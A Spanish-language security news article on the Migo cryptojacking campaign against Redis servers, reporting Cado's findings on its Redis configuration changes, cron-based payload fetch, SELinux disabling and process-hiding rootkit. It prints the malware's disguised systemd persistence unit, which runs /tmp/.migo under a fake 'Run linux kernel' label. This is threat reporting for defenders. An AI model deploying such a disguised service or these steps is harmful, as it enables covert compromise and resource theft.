Se ha detectado una nueva campaña de malware que se centra en atacar servidores Redis para lograr acceso inicial con la meta última de llevar a cabo la minería de criptomonedas en sistemas Linux comprometidos.

> En un informe técnico, Matt Muir, investigador de seguridad en Cado, señaló: *«Esta campaña en particular emplea diversas técnicas novedosas de debilitamiento del sistema dirigidas al propio almacén de datos».*

El ataque de criptojacking se lleva a cabo mediante un malware llamado Migo, un binario ELF escrito en Golang que incluye obfuscación en tiempo de compilación y la capacidad de mantenerse persistente en máquinas Linux.

La compañía de seguridad en la nube detectó la campaña al identificar una *«serie inusual de comandos»* dirigidos a sus honeypots de Redis, diseñados para disminuir las defensas de seguridad al deshabilitar las siguientes opciones de configuración:

- protected-mode
- replica-read-only
- aof-rewrite-incremental-fsync, y
- rdb-save-incremental-fsync

Se sospecha que estas opciones se desactivan con el fin de enviar comandos adicionales al servidor Redis desde redes externas y facilitar futuras explotaciones sin llamar demasiado la atención.

Esta etapa es seguida por los actores de amenazas que configuran dos claves de Redis, una que apunta a una clave SSH controlada por el atacante y la otra a una tarea cron que recupera la carga principal maliciosa de un servicio de transferencia de archivos llamado Transfer.sh, una técnica que ya se había observado a principios de 2023.

El script de shell para obtener Migo a través de Transfer.sh está integrado en un archivo de

Pastebin que, a su vez, se obtiene mediante un comando curl o wget.

```
#  SPDX-License-Identifier: LGPL-2.1-or-later
#
#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.

[Unit]
Description=Run linux kernel

[Service]
ExecStartPre=/bin/chmod +x /tmp/.migo
ExecStart=/tmp/.migo
CPUShares=100000
LimitNOFILE=65535
MemoryLimit=infinity
TasksMax=infinity

# In case you're wondering why CAP_SYS_PTRACE is needed, access to
# /proc/<pid>/exe requires this capability. Thus if this capability is missing
# the _EXE=/OBJECT_EXE= fields will be missing from the journal entries.
```

El binario ELF basado en Go, además de integrar mecanismos para resistir el análisis inverso, funciona como un descargador para instalar XMRig desde GitHub. También se encarga de llevar a cabo una serie de pasos para establecer persistencia, detener otros mineros en competencia y poner en marcha el minero.

Adicionalmente, Migo deshabilita el Security-Enhanced Linux (SELinux) y busca scripts de desinstalación para agentes de monitoreo incluidos en instancias de cómputo de proveedores de servicios en la nube como Qcloud y Alibaba Cloud. Además, despliega una versión modificada («libsystemd.so») de un rootkit popular de modo de usuario llamado libprocesshider para ocultar procesos y artefactos en disco.

Es importante destacar que estas acciones coinciden con tácticas adoptadas por grupos

conocidos de criptojacking como TeamTNT, WatchDog, Rocke y actores de amenazas asociados con el malware SkidMap.

> *«De manera interesante, Migo parece iterar de forma recursiva a través de archivos y directorios en /etc. El malware simplemente lee archivos en estas ubicaciones y no realiza ninguna acción con el contenido»*. observó Muir.
>
> *«Una teoría es que esto podría ser un intento (limitado) de confundir a las soluciones de análisis dinámico y entornos seguros al realizar una gran cantidad de acciones benignas, lo que resulta en una clasificación no maliciosa».*

Otra hipótesis es que el malware busca un artefacto específico del entorno objetivo, aunque Cado afirmó que no encontró evidencia que respalde esta línea de razonamiento.

> *«Migo demuestra que los atacantes centrados en la nube continúan perfeccionando sus técnicas y mejorando su capacidad para explotar servicios expuestos en la web»,* afirmó Muir.
>
> *«Aunque libprocesshider se utiliza con frecuencia en campañas de criptojacking, esta variante en particular incluye la capacidad de ocultar artefactos en disco además de los procesos maliciosos en sí».*